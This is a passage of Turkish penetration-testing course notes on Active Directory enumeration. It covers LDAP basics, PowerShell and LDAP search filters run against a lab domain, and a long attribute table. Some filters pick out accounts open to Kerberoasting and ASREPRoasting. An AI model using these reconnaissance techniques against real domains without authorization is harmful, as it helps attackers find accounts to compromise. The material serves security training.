privilege'larını abuse etme.
Windows 10 Task Scheduler 0day gibi Windows işletim sistemlerinde local privilege
escalation kusurları.
PsExec -s bayrağı ile
Domain ile birleştirilmiş bir host üzerinde SYSTEM level access elde ederek şunları
yapabileceğiz:
BloodHound ve PowerView / SharpView kullanarak domain'i enumerate edin ve domain
users and groups, local administrator access, domain trusts, ACLs, user and computer
properties, vb. hakkında bilgi toplayın.
Kerberoasting / ASREPRoasting saldırıları gerçekleştirin.
Net-NTLM-v2 hash'lerini toplamak veya relay saldırıları gerçekleştirmek için Inveigh gibi
tool'ları çalıştırın.
Privileged bir domain kullanıcı hesabını ele geçirmek için token impersonation
gerçekleştirin.
ACL saldırıları gerçekleştirin.
LDAP Overview
Lightweight Directory Access Protocol (LDAP), Active Directory (AD)'nin ayrılmaz bir
parçasıdır. En güncel LDAP spesifikasyonu Versiyon 3 olup RFC 4511 olarak yayınlanmıştır.
LDAP'ın AD ortamında nasıl çalıştığını iyi anlamak, hem attackers hem de defenders için
kritik öneme sahiptir.
LDAP, open-source ve cross-platform destekleyen bir protokol olup, Active Directory gibi
çeşitli directory services için kimlik doğrulama amacıyla kullanılır. Daha önce bahsedildiği
gibi, AD, kullanıcı hesap bilgilerini, şifreleri ve diğer güvenlik bilgilerini saklar ve bu bilgileri
ağdaki diğer cihazlarla paylaşır. LDAP, uygulamaların diğer directory services sağlayan
sunucularla iletişim kurmasını sağlayan dildir. Başka bir deyişle, LDAP, ağ ortamındaki
sistemlerin AD ile "konuşmasını" sağlayan bir mekanizmadır.
Bir LDAP session'ı, önce bir LDAP server (aynı zamanda Directory System Agent olarak da
bilinir) ile bağlantı kurarak başlar. Active Directory içindeki Domain Controller, LDAP
isteklerini dinleyerek güvenlik kimlik doğrulama talepleri gibi işlemleri gerçekleştirir.
AD ve LDAP arasındaki ilişki Apache ve HTTP ile karşılaştırılabilir. Apache'nin HTTP
protokolünü kullanan bir web sunucusu olması gibi, Active Directory de LDAP protokolünü
kullanan bir directory sunucusudur.
Nadiren de olsa, bir analiz gerçekleştirirken AD'ye sahip olmayan ancak LDAP'ye sahip olan,
yani büyük olasılıkla OpenLDAP gibi başka bir tür LDAP sunucusu kullanan kuruluşlarla
karşılaşabilirsiniz.
AD LDAP Authentication
LDAP, bir LDAP session'ı için authentication durumunu ayarlamak üzere bir “BIND” işlemi
kullanarak kimlik bilgilerini AD'ye karşı doğrulamak üzere ayarlanmıştır. İki tür LDAP
authentication vardır.
1. Simple Authentication:
Anonymous authentication, unauthenticated authentication ve username/password
authentication içerir.
Simple authentication, bir username ve password kullanarak LDAP server'a
authentication için bir BIND request gönderilmesi anlamına gelir.
2. SASL Authentication:
Simple Authentication and Security Layer (SASL) framework'ü, Kerberos gibi diğer
authentication servislerini kullanarak LDAP server ile bağlantı kurar ve ardından bu
authentication servisini (bu örnekte Kerberos) kullanarak LDAP authentication
gerçekleştirir.
LDAP server, LDAP protocol üzerinden authorization servisine bir LDAP message
gönderir ve bu mesaj, bir dizi challenge/response işlemi başlatarak authentication'ın
başarılı veya başarısız olmasına neden olur.
SASL, authentication yöntemlerini uygulama protokollerinden ayırarak ek güvenlik
sağlayabilir.
LDAP authentication mesajları varsayılan olarak cleartext olarak gönderilir, böylece herhangi
biri internal ağdaki LDAP mesajlarını sniff edebilir. Bu bilgileri aktarım sırasında korumak için
TLS şifrelemesi veya benzerinin kullanılması önerilir.
LDAP Queries
LDAP queries kullanarak directory service ile iletişim kurabilir ve servisle ilgili bilgi talep
edebiliriz. Örneğin, aşağıdaki sorgu bir ağdaki tüm workstation'ları bulmak için kullanılabilir:
(objectCategory=computer)
Benzer şekilde, tüm domain controller'ları bulmak için şu sorgu kullanılabilir:
(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))
LDAP queries, user ile ilgili aramalar yapmak için de kullanılabilir. Örneğin, aşağıdaki sorgu
tüm users'ları listeler:
(&(objectCategory=person)(objectClass=user))
Aşağıda, Get-ADObject cmdlet'i ve LDAPFilter parametresi kullanılarak tüm AD groups'ları
bulmak için yapılan basit bir sorgu örneği verilmiştir:
Get-ADObject -LDAPFilter "(objectClass=group)"
LDAP Query - User Related Search
PS C:\htb> Get-ADObject -LDAPFilter '(objectClass=group)' | select name
name
----
Administrators
Users
Guests
Print Operators
Backup Operators
Replicator
Remote Desktop Users
Network Configuration Operators
Performance Monitor Users
Performance Log Users
Distributed COM Users
IIS_IUSRS
Cryptographic Operators
Event Log Readers
Certificate Service DCOM Access
RDS Remote Access Servers
RDS Endpoint Servers
RDS Management Servers
Hyper-V Administrators
Access Control Assistance Operators
Remote Management Users
<SNIP>
Ayrıca, LDAP queries kullanarak daha detaylı aramalar gerçekleştirebiliriz. Aşağıdaki sorgu,
domain içinde administratively disabled accounts'ları bulmak için kullanılır.
LDAP Query - Ayrıntılı Search
PS C:\htb> Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties * | select
samaccountname, useraccountcontrol
samaccountname useraccountcontrol
-------------- ------------------
Guest ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT,
DONT_EXPIRE_PASSWORD
DefaultAccount ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT,
DONT_EXPIRE_PASSWORD
krbtgt ACCOUNTDISABLE, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
caroline.ali ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT
$SH2000-FPNHUU487JP0 ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT
SM_00390f38b41e488ab ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_e081bc60d79c4597b ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_a9a4eed7ad2d4369a ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_d836f82078bf4cf89 ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_6a24f488535649558 ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_08a2324990674a87b ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_d1fea2710dc146b1b ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_b56189681baa441db ACCOUNTDISABLE, NORMAL_ACCOUNT
SM_b72a918d27554863b ACCOUNTDISABLE, NORMAL_ACCOUNT
AD için temel ve daha gelişmiş LDAP sorgularına ilişkin daha fazla örnek aşağıdaki
bağlantılarda bulunabilir:
LDAP queries related to AD computers
LDAP queries related to AD users
LDAP queries related to AD groups
LDAP queries, Active Directory'yi sorgulamak için son derece güçlü araçlardır. Bu gücü
kullanarak çok çeşitli bilgileri toplayabilir, AD environment'ı haritalandırabilir ve
misconfiguration'ları tespit edebiliriz.
LDAP queries, daha detaylı aramalar yapmak için filters ile birleştirilebilir.
Sonraki iki bölümde, AD ve LDAP search filters derinlemesine ele alınacak ve ardından
çeşitli AD enumeration tools tanıtılacaktır.
Active Directory Search Filters
Sonraki iki bölüm, ActiveDirectory PowerShell modülü cmdlet'leri tarafından kullanılan
Filter ve LDAPFilter parametrelerini ele alacaktır.
PowerShell kullanarak Active Directory sorguları oluşturmak için doğru filtre sözdizimini nasıl
oluşturacağınızı bilmek önemlidir. Bu bilgi, PowerView gibi araçların arka planda nasıl
çalıştığını daha iyi anlamamızı sağlar ve Active Directory'yi enumere ederken bu araçların
gücünden nasıl daha fazla yararlanabileceğimizi öğrenmemize yardımcı olur.
Ayrıca, bir değerlendirme sırasında elinizde herhangi bir aracın bulunmadığı bir durumda
filtreleri nasıl oluşturacağınızı bilmek de faydalıdır. Bu bilgiyle donanmış olarak, yerleşik
PowerShell cmdlet'lerini kullanarak "live off the land" yaklaşımıyla enumere işlemlerini
gerçekleştirebilir (her ne kadar bu, bu modülde ele alacağımız birçok aracı kullanmaktan
daha yavaş olsa da) etkili bir şekilde çalışabilirsiniz.
Sonraki iki bölümde ActiveDirectory PowerShell cmdlet modülleri tarafından kullanılan Filter
ve LDAPFilter parametreleri ele alınacaktır. PowerShell kullanarak Active Directory'yi
sorgulamak için uygun filtre syntax'ının nasıl oluşturulacağını bilmek önemlidir. Bu bilgi,
PowerView gibi araçlarımızın nasıl çalıştığını ve Active Directory'yi enumerating yaparken
güçlerinden nasıl daha fazla yararlanabileceğimizi daha iyi anlamamızı sağlar. Ayrıca, bir
pentest sırasında araçlarınızdan herhangi biri olmadan kendinizi bir durumda bulursanız
filtreleri nasıl formüle edeceğinizi anlamak da yararlıdır. Bu bilgilerle donanmış olarak, etkili
bir şekilde “live off the land” yapabilecek ve enumeration görevlerinizi gerçekleştirmek için
built-in PowerShell cmdlet'lerini kullanabileceksiniz (ele alacağımız tool'ların birçoğunu
kullanmaktan daha yavaş olsa da).
PowerShell Filters
PowerShell'deki filtreler, piped çıktısını daha verimli bir şekilde işlemenize ve bir komuttan
tam olarak ihtiyacınız olan bilgileri almanıza olanak tanır. Filtreler, büyük bir sonuçtaki belirli
verileri daraltmak veya daha sonra başka bir komuta aktarılabilecek verileri almak için
kullanılabilir.
Filter parametresi ile filtreleri kullanabiliriz. Temel bir örnek, yüklü yazılım için bir
bilgisayarın sorgulanmasıdır:
PowerShell - Filter Installed Software
Yukarıdaki komut oldukça fazla çıktı üretebilir. Filter parametresini notlike operatörüyle
kullanarak tüm Microsoft yazılımlarını filtreleyebiliriz (bu, bir sistemde local privilege
escalation vektörlerini enumere ederken faydalı olabilir).
PowerShell - Filter Out Microsoft Software
Get-CimInstance Win32_Product -Filter "Vendor NOT LIKE '%Microsoft%'" | Format-List
IdentifyingNumber : {748D3A12-9B82-4B08-A0FF-CFDE83612E87}
Name : VMware Tools
Vendor : VMware, Inc.
Version : 10.3.2.9925305
Caption : VMware Tools
Operators
Filtre operatörü, arama sonuçlarını daraltmaya veya büyük miktarda komut çıktısını daha
sindirilebilir bir şeye indirgemeye yardımcı olabilecek en az bir operatör gerektirir. Düzgün
filtreleme, özellikle büyük ortamları enumerating yaparken ve komut çıktısında çok spesifik
bilgiler ararken önemlidir. Aşağıdaki operatörler Filter parametresiyle birlikte kullanılabilir
Filter Meaning
-eq Equal to
-le Less than or equal to
-ge Greater than or equal to
-ne Not equal to
-lt Less than
-gt Greater than
-approx Approximately equal to
-bor Bitwise OR
-band Bitwise AND
-recursivematch Recursive match
-like Like
-notlike Not like
-and Boolean AND
-or Boolean OR
-not Boolean NOT
Filter Examples: AD Object Properties
Filtre, çeşitli AD object properties'ini karşılaştırmak, dışarıda bırakmak, aramak vb. için
operatörlerle birlikte kullanılabilir. Filtreler köşeli parantez, tek tırnak, parantez veya çift
tırnak içine alınabilir. Örneğin, Sally Jones kullanıcısı hakkında bilgi bulmak için Get-ADUser
kullanan aşağıdaki basit arama filtresi aşağıdaki gibi yazılabilir:
PowerShell - Filter Examples
Get-ADUser -Filter "name -eq 'sally jones'"
Get-ADUser -Filter {name -eq 'sally jones'}
Get-ADUser -Filter 'name -eq "sally jones"'
Yukarıda görüldüğü gibi, property değeri (burada, sally jones ) tek veya çift tırnak içine
alınabilir. Yıldız işareti ( * ), sorgular gerçekleştirilirken wildcard olarak kullanılabilir. Get-
ADUser -filter {name -like “joe*”} komutu bir wildcard kullanarak, adı joe (joe, joel, vb.)
ile başlayan tüm domain kullanıcılarını döndürür. Filtreler kullanılırken, belirli karakterlerin
escaped edilmesi gerekir:
Character Escaped Note
As
" " Yalnızca veriler çift tırnak içine alınmışsa gereklidir.
' ' Yalnızca veriler tek tırnak içine alınmışsa gereklidir.
NUL \00 Standard LDAP escape sequence.
\ \5c Standard LDAP escape sequence.
* \2a Escaped automatically, but only in -eq and -ne comparisons. Use -like
and -notlike operators for wildcard comparison.
( \28 Escaped automatically.
) \29 Escaped automatically.
/ \2f Escaped automatically.
Bu filtrelerden bazılarını kullanarak INLANEFREIGHT.LOCAL domain'ini enumere edelim. Tüm
domain bilgisayarlarını ilginç host adları için arayabiliriz.
SQL sunucuları, internal değerlendirmelerde özellikle değerli hedeflerdir. Aşağıdaki komut,
Get-ADComputer kullanarak domain'deki tüm host'ları arar ve DNSHostName özelliğinde " SQL "
kelimesini içerenleri filtreler.
PowerShell - Filter For SQL
Get-ADComputer -Filter "DNSHostName -like 'SQL*'" | Format-List
DistinguishedName : CN=SQL01,OU=SQL Servers,OU=Servers,DC=INLANEFREIGHT,DC=LOCAL
DNSHostName : SQL01.INLANEFREIGHT.LOCAL
Enabled : True
Name : SQL01
ObjectClass : computer
ObjectGUID : 42cc9264-1655-4bfa-b5f9-21101afb33d0
SamAccountName : SQL01$
SID : S-1-5-21-2974783224-3764228556-2640795941-1104
UserPrincipalName :
Ardından, administrative gruplarını arayalım. Bunu adminCount attribute'de filtreleme yaparak
yapabiliriz. Bu attribute'un 1 olarak ayarlandığı gruplar AdminSDHolder tarafından korunur
ve korumalı gruplar olarak bilinir. AdminSDHolder , Domain Admins grubuna aittir. Active
Directory'deki object'lerin izinlerini değiştirme privilegies'ine sahiptir. Yukarıda tartışıldığı
gibi, filtrelenmiş komut çıktısını pipe edebilir ve yalnızca grup adlarını seçebiliriz.
PowerShell - Filter Administrative Groups
PS C:\htb> Get-ADGroup -Filter "adminCount -eq 1" | select Name
Name
----
Administrators
Print Operators
Backup Operators
Replicator
Domain Controllers
Schema Admins
Enterprise Admins
Domain Admins
Server Operators
Account Operators
Read-only Domain Controllers
Security Operations
Filtreleri de birleştirebiliriz. DoesNotRequirePreAuth attribute kümesine sahip tüm
administrative kullanıcıları arayalım, yani ASREPRoasted olabilirler . Burada tüm domain
kullanıcılarını seçiyoruz ve -eq operatörü ile iki koşul belirtiyoruz.
PowerShell - Filter Administrative Users
Get-ADUser -Filter {adminCount -eq 1 -and DoesNotRequirePreAuth -eq $true} | Format-
List
DistinguishedName : CN=Jenna Smith,OU=Server
Team,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
GivenName : jenna
Name : Jenna Smith
ObjectClass : user
ObjectGUID : ea3c930f-aa8e-4fdc-987c-4a9ee1a75409
SamAccountName : jenna.smith
SID : S-1-5-21-2974783224-3764228556-2640795941-1999
Surname : smith
UserPrincipalName : jenna.smith@inlanefreight
Son olarak, filtreleri birleştirme ve çıktıyı birden fazla kez yönlendirme örneğine bakalım. Bu
sayede istediğimiz bilgilere ulaşabiliriz.
Aşağıdaki komut, " servicePrincipalName " attribute'u ayarlanmış olan tüm administrator
hesaplarını bulmak için kullanılabilir. Bu, hesapların Kerberoasting saldırısına maruz
kalabileceği anlamına gelir.
Bu örnek:
1. Filter parametresini kullanarak adminCount özniteliği 1 olarak ayarlanmış hesapları bulur.
2. Çıktıyı yönlendirerek Service Principal Name (SPN) 'i olan tüm hesapları listeler.
3. Son olarak, hesap adı, grup üyeliği ve SPN gibi bazı attribute'ları seçerek nihai çıktıyı
oluşturur.
PowerShell - ServicePrincipalName ile Administrative
Kullanıcıları Bulma
Get-ADUser -Filter "adminCount -eq 1" -Properties * | Where-Object {
$_.servicePrincipalName -ne $null } | Select-Object SamAccountName, MemberOf,
ServicePrincipalName | Format-List
SamAccountName : krbtgt
MemberOf : {CN=Denied RODC Password Replication
Group,CN=Users,DC=INLANEFREIGHT,DC=LOCAL}
ServicePrincipalName : {kadmin/changepw}
SamAccountName : sqlqa
MemberOf : {CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL}
ServicePrincipalName : {MSSQL_svc_qa/inlanefreight.local:1443}
Yukarıdaki komutların birçok kombinasyonunu kullanarak bir Active Directory ortamını
enumerate etmek son derece uzun zaman alacaktır. Bu son örnek PowerView veya Rubeus
gibi araçlarla hızlı ve kolay bir şekilde gerçekleştirilebilir. Bununla birlikte, PowerView gibi
araçlardan elde edilen çıktılar bize kesin sonuçlar sağlamak için daha da
filtrelenebileceğinden, AD'yi numaralandırırken filtreleri ustalıkla uygulamak önemlidir.
LDAP Search Filters
Basic LDAP Filter Syntax ve Operators
Aynı cmdlet'lere sahip LDAPFilter parametresi, bilgi ararken LDAP search filtrelerini
kullanmamızı sağlar. Bu filtrelerin syntax'ı RFC 4515 - Lightweight Directory Access Protocol
(LDAP) içinde tanımlanmıştır: Search Filters String Representation .
LDAP filtrelerinin bir veya daha fazla ölçütü olmalıdır. Birden fazla kriter varsa, bunlar
mantıksal AND veya OR operatörleri kullanılarak birleştirilebilir. Bu operator'lar her zaman
kriterlerin (operandların) önüne yerleştirilir ve bu da Polish Notation olarak adlandırılır.
Filtre kuralları parantez içine alınır ve grup parantez içine alınarak ve aşağıdaki karşılaştırma
operatörlerinden biri kullanılarak gruplandırılabilir:
Operator Function
& and
, ,
! not
Bazı örnek AND ve OR işlemleri aşağıdaki gibidir:
AND Operasyonu:
Tek kriter: (& (..C1..) (..C2..))
İkiden fazla kriter: (& (..C1..) (..C2..) (..C3..))
OR Operasyonu:
Tek kriter: (| (..C1..) (..C2..))
İkiden fazla kriter: (| (..C1..) (..C2..) (..C3..))
Ayrıca, iç içe geçmiş işlemler de kullanılabilir. Örneğin:
"(|(& (..C1..) (..C2..))(& (..C3..) (..C4..)))"
ifadeyi şu şekilde çevirebiliriz:
"(C1 AND C2) OR (C3 AND C4)"
Search Criteria
Bir LDAP search filtresi yazarken, söz konusu LDAP attribute için bir kural gereksinimi
belirtmemiz gerekir (örn. “ ( displayName=william ) ”). Arama kriterlerimizi belirtmek için
aşağıdaki kurallar kullanılabilir:
Criteria Rule Example
Equal to (attribute=123) (&(objectclass=user)(displayName=Smith))
Not equal to (!(attribute=123)) (!(objectClass=group))
Present (attribute=*) (department=*)
Not present (!(attribute=*)) (!(homeDirectory=*))
Greater than (attribute>=123) (maxStorage>=100000)
Less than (attribute<=123) (maxStorage<=100000)
Approximate match (attribute~=123) (sAMAccountName~=Jason)
Wildcards (attribute=*A) (givenName=*Sam)
Bu linkte User Attribute'ların geniş bir listesi, aşağıda ise tüm Base Attribute'ların bir listesi
yer almaktadır.
Base Attributes'in tam listesi
LDAP Display Name CN Attribute
accountExpires Account-Expires 1.2.840
accountNameHistory Account-Name-History 1.2.840
aCSAggregateTokenRatePerUser ACS-Aggregate-Token-Rate-Per-User 1.2.840
aCSAllocableRSVPBandwidth ACS-Allocable-RSVP-Bandwidth 1.2.840
aCSCacheTimeout ACS-Cache-Timeout 1.2.840
aCSDirection ACS-Direction 1.2.840
aCSDBDeadTime ACS-DBM-DeadTime 1.2.840
aCDBMPriority ACS-DBM-Priority 1.2.840
aCDBRefresh ACS-DBM-Refresh 1.2.840
aCSEnableACSService ACS-Enable-ACS-Service 1.2.840
aCSEnableRSVPAccounting ACS-Enable-RSVP-Accounting 1.2.840
aCSEnableRSVPMessageLogging ACS-Enable-RSVP-Message-Logging 1.2.840
aCSEventLogLevel ACS-Event-Log-Level 1.2.840
aCSIdentityName ACS-Identity-Name 1.2.840
aCSMaxAggregatePeakRatePerUser ACS-Max-Aggregate-Peak-Rate-Per-User 1.2.840
aCSMaxDurationPerFlow ACS-Max-Duration-Per-Flow 1.2.840
aCSMaxSDUSize ACS-Max-SDU-Size 1.2.840
aCSMaxNoOfAccountFiles ACS-Max-No-Of-Account-Files 1.2.840
aCSMaxNoOfLogFiles ACS-Max-No-Of-Log-Files 1.2.840
aCSMaxPeakBandwidth ACS-Max-Peak-Bandwidth 1.2.840
aCSMaxPeakBandwidthPerFlow ACS-Max-Peak-Bandwidth-Per-Flow 1.2.840
aCSMaxSizeOfRSVPAccountFile ACS-Max-Size-Of-RSVP-AccountFile 1.2.840
aCSMaxSizeOfRSVPLogFile ACS-Max-Size-Of-RSVP-Log-File 1.2.840
aCSMaxTokenBucketPerFlow ACS-Max-Token-Bucket-Per-Flow 1.2.840
aCSMaxTokenRatePerFlow ACS-Max-Token-Rate-Per-Flow 1.2.840
aCSMinimumDelayVariation ACS-Minimum-Delay-Variation 1.2.840
aCSMinimumLatency ACS-Minimum-Latency 1.2.840
aCSMinimumPolicedSize ACS-Minimum-Policed-Size 1.2.840
aCSNonReservedMaxSDUSize ACS-Non-Reserved-Max-SDU-Size 1.2.840
aCSNonReservedMinPolicedSize ACS-Non-Reserved-Min-PolicedSize 1.2.840
aCSNonReservedPeakRate ACS-Non-Reserved-Peak-Rate 1.2.840
aCSNonReservedTokenSize ACS-Non-Reserved-Token-Size 1.2.840
aCSNonReservedTxLimit ACS-Non-Reserved-Tx-Limit 1.2.840
aCSNonReservedTxSize ACS-Non-Reserved-Tx-Size 1.2.840
aCSPermissionBits ACS-Permission-Bits 1.2.840
aCSPolicyName ACS-Policy-Name 1.2.840
aCSPriority ACS-Priority 1.2.840
aCSRSVPAccountFilesLocation ACS-RSVP-Account-Files-Location 1.2.840
aCSRSVPLogFilesLocation ACS-RSVP-Log-Files-Location 1.2.840
aCSServerList ACS-Server-List 1.2.840
LDAP Display Name CN Attribute
aCSServiceType ACS-Service-Type 1.2.840
aCSTimeOfDay ACS-Time-Of-Day 1.2.840
aCSTotalNoOfFlows ACS-Total-No-Of-Flows 1.2.840
additionalTrustedServiceNames Additional-Trusted-Service-Names 1.2.840
addressBookRoots Address-Book-Roots 1.2.840
addressEntryDisplayTable Address-Entry-Display-Table 1.2.840
addressEntryDisplayTableMSDOS Address-Entry-Display-TableMSDOS 1.2.840
addressSyntax Address-Syntax 1.2.840
addressType Address-Type 1.2.840
adminContextMenu Admin-Context-Menu 1.2.840
adminCount Admin-Count 1.2.840
adminDescription Admin-Description 1.2.840
adminDisplayName Admin-Display-Name 1.2.840
adminPropertyPages Admin-Property-Pages 1.2.840
allowedAttributes Allowed-Attributes 1.2.840
allowedAttributesEffective Allowed-Attributes-Effective 1.2.840
allowedChildClasses Allowed-Child-Classes 1.2.840
allowedChildClassesEffective Allowed-Child-Classes-Effective 1.2.840
altSecurityIdentities Alt-Security-Identities 1.2.840
aNR ANR 1.2.840
applicationName Application-Name 1.2.840
appliesTo Applies-To 1.2.840
appSchemaVersion App-Schema-Version 1.2.840
assetNumber Asset-Number 1.2.840
assistant Assistant 1.2.840
assocNTAccount Assoc-NT-Account 1.2.840
attributeDisplayNames Attribute-Display-Names 1.2.840
attributeID Attribute-ID 1.2.840
attributeSecurityGUID Attribute-Security-GUID 1.2.840
attributeSyntax Attribute-Syntax 1.2.840
attributeTypes Attribute-Types 2.5.21.5
auditingPolicy Auditing-Policy 1.2.840
authenticationOptions Authentication-Options 1.2.840
authorityRevocationList Authority-Revocation-List 2.5.4.38
auxiliaryClass Auxiliary-Class 1.2.840
badPasswordTime Bad-Password-Time 1.2.840
badPwdCount Bad-Pwd-Count 1.2.840
birthLocation Birth-Location 1.2.840
bridgeheadServerListBL Bridgehead-Server-List-BL 1.2.840
bridgeheadTransportList Bridgehead-Transport-List 1.2.840
LDAP Display Name CN Attribute
builtInCreationTime BuiltIn-Creation-Time 1.2.840
builtInModifiedCount BuiltIn-Modified-Count 1.2.840
businessCategory Business-Category 2.5.4.15
bytesPerMinute Bytes-Per-Minute 1.2.840
c Country-Name 2.5.4.6
caCertificate CA-Certificate 2.5.4.37
caCertificateDN CA-Certificate-DN 1.2.840
caConnect CA-Connect 1.2.840
canonicalName Canonical-Name 1.2.840
canUpgradeScript Can-Upgrade-Script 1.2.840
catalogs Catalogs 1.2.840
categories Categories 1.2.840
categoryId Category-Id 1.2.840
caUsages CA-Usages 1.2.840
caWEBURL CA-WEB-URL 1.2.840
certificateAuthorityObject Certificate-Authority-Object 1.2.840
certificateRevocationList Certificate-Revocation-List 2.5.4.39
certificateTemplates Certificate-Templates 1.2.840
classDisplayName Class-Display-Name 1.2.840
cn Common-Name 2.5.4.3
co Text-Country 1.2.840
codePage Code-Page 1.2.840
cOMClassID COM-ClassID 1.2.840
cOMCLSID COM-CLSID 1.2.840
cOMInterfaceID COM-InterfaceID 1.2.840
cOMOtherProgID COM-Other-Prog-Id 1.2.840
company Company 1.2.840
cOMProgID COM-ProgID 1.2.840
cOMTreatAsClassId COM-Treat-As-Class-Id 1.2.840
cOMTypeLibID COM-TypeLib-Id 1.2.840
cOMUniqueLIBID COM-Unique-LIBID 1.2.840
contentIndexingAllowed Content-Indexing-Allowed 1.2.840
contextMenu Context-Menu 1.2.840
controlAccessRights Control-Access-Rights 1.2.840
cost Cost 1.2.840
countryCode Country-Code 1.2.840
createDialog Create-Dialog 1.2.840
createTimeStamp Create-Time-Stamp 2.5.18.1
createWizardExt Create-Wizard-Ext 1.2.840
creationTime Creation-Time 1.2.840
LDAP Display Name CN Attribute
creationWizard Creation-Wizard 1.2.840
creator Creator 1.2.840
cRLObject CRL-Object 1.2.840
cRLPartitionedRevocationList CRL-Partitioned-Revocation-List 1.2.840
crossCertificatePair Cross-Certificate-Pair 2.5.4.40
currentLocation Current-Location 1.2.840
currentParentCA Current-Parent-CA 1.2.840
currentValue Current-Value 1.2.840
currMachineId Curr-Machine-Id 1.2.840
dBCSPwd DBCS-Pwd 1.2.840
dc Domain-Component 0.9.2342.19
defaultClassStore Default-Class-Store 1.2.840
defaultGroup Default-Group 1.2.840
defaultHidingValue Default-Hiding-Value 1.2.840
defaultLocalPolicyObject Default-Local-Policy-Object 1.2.840
defaultObjectCategory Default-Object-Category 1.2.840
defaultPriority Default-Priority 1.2.840
defaultSecurityDescriptor Default-Security-Descriptor 1.2.840
deltaRevocationList Delta-Revocation-List 2.5.4.53
department Department 1.2.840
description Description 2.5.4.13
desktopProfile Desktop-Profile 1.2.840
destinationIndicator Destination-Indicator 2.5.4.27
dhcpClasses dhcp-Classes 1.2.840
dhcpFlags dhcp-Flags 1.2.840
dhcpIdentification dhcp-Identification 1.2.840
dhcpMask dhcp-Mask 1.2.840
dhcpMaxKey dhcp-MaxKey 1.2.840
dhcpObjDescription dhcp-Obj-Description 1.2.840
dhcpObjName dhcp-Obj-Name 1.2.840
dhcpOptions dhcp-Options 1.2.840
dhcpProperties dhcp-Properties 1.2.840
dhcpRanges dhcp-Ranges 1.2.840
dhcpReservations dhcp-Reservations 1.2.840
dhcpServers dhcp-Servers 1.2.840
dhcpSites dhcp-Sites 1.2.840
dhcpState dhcp-State 1.2.840
dhcpSubnets dhcp-Subnets 1.2.840
dhcpType dhcp-Type 1.2.840
dhcpUniqueKey dhcp-Unique-Key 1.2.840
LDAP Display Name CN Attribute
dhcpUpdateTime dhcp-Update-Time 1.2.840
directReports Reports 1.2.840
displayName Display-Name 1.2.840
displayNamePrintable Display-Name-Printable 1.2.840
distinguishedName Obj-Dist-Name 2.5.4.49
dITContentRules DIT-Content-Rules 2.5.21.2
division Division 1.2.840
dMDLocation DMD-Location 1.2.840
dmdName DMD-Name 1.2.840
dNReferenceUpdate DN-Reference-Update 1.2.840
dnsAllowDynamic Dns-Allow-Dynamic 1.2.840
dnsAllowXFR Dns-Allow-XFR 1.2.840
dNSHostName DNS-Host-Name 1.2.840
dnsNotifySecondaries Dns-Notify-Secondaries 1.2.840
dnsProperty DNS-Property 1.2.840
dnsRecord Dns-Record 1.2.840
dnsRoot Dns-Root 1.2.840
dnsSecureSecondaries Dns-Secure-Secondaries 1.2.840
dnsTombstoned DNS-Tombstoned 1.2.840
domainCAs Domain-Certificate-Authorities 1.2.840
domainCrossRef Domain-Cross-Ref 1.2.840
domainID Domain-ID 1.2.840
domainIdentifier Domain-Identifier 1.2.840
domainPolicyObject Domain-Policy-Object 1.2.840
domainPolicyReference Domain-Policy-Reference 1.2.840
domainReplica Domain-Replica 1.2.840
domainWidePolicy Domain-Wide-Policy 1.2.840
driverName Driver-Name 1.2.840
driverVersion Driver-Version 1.2.840
dSASignature DSA-Signature 1.2.840
dSCorePropagationData DS-Core-Propagation-Data 1.2.840
dsHeuristics DS-Heuristics 1.2.840
dsUIAdminMaximum DS-UI-Admin-Maximum 1.2.840
dsUIAdminNotification DS-UI-Admin-Notification 1.2.840
dsUIShellMaximum DS-UI-Shell-Maximum 1.2.840
dynamicLDAPServer Dynamic-LDAP-Server 1.2.840
eFSPolicy EFSPolicy 1.2.840
employeeID Employee-ID 1.2.840
employeeNumber Employee-Number 1.2.840
employeeType Employee-Type 1.2.840
LDAP Display Name CN Attribute
enabled Enabled 1.2.840
enabledConnection Enabled-Connection 1.2.840
enrollmentProviders Enrollment-Providers 1.2.840
extensibleAttributeInfo Extended-Attribute-Info 1.2.840
extensibleClassInfo Extended-Class-Info 1.2.840
extensibleCharsAllowed Extended-Chars-Allowed 1.2.840
extensionName Extension-Name 1.2.840
facsimileTelephoneNumber Facsimile-Telephone-Number 2.5.4.23
fileExtPriority File-Ext-Priority 1.2.840
flags Flags 1.2.840
flatName Flat-Name 1.2.840
forceLogoff Force-Logoff 1.2.840
foreignIdentifier Foreign-Identifier 1.2.840
friendlyNames Friendly-Names 1.2.840
fromEntry From-Entry 1.2.840
fromServer From-Server 1.2.840
frsComputerReference Frs-Computer-Reference 1.2.840
frsComputerReferenceBL Frs-Computer-Reference-BL 1.2.840
fRSControlDataCreation FRS-Control-Data-Creation 1.2.840
fRSControlInboundBacklog FRS-Control-Inbound-Backlog 1.2.840
fRSControlOutboundBacklog FRS-Control-Outbound-Backlog 1.2.840
fRSDirectoryFilter FRS-Directory-Filter 1.2.840
fRSDSPoll FRS-DS-Poll 1.2.840
frsExtensions FRS-Extensions 1.2.840
frsFaultCondition FRS-Fault-Condition 1.2.840
fRSFileFilter FRS-File-Filter 1.2.840
frsFlags FRS-Flags 1.2.840
frsLevelLimit FRS-Level-Limit 1.2.840
frsMemberReference FRS-Member-Reference 1.2.840
frsMemberReferenceBL FRS-Member-Reference-BL 1.2.840
fRSPartnerAuthLevel FRS-Partner-Auth-Level 1.2.840
fRSPrimaryMember FRS-Primary-Member 1.2.840
fRSReplicaSetGUID FRS-Replica-Set-GUID 1.2.840
fRSReplicaSetType FRS-Replica-Set-Type 1.2.840
fRSRootPath FRS-Root-Path 1.2.840
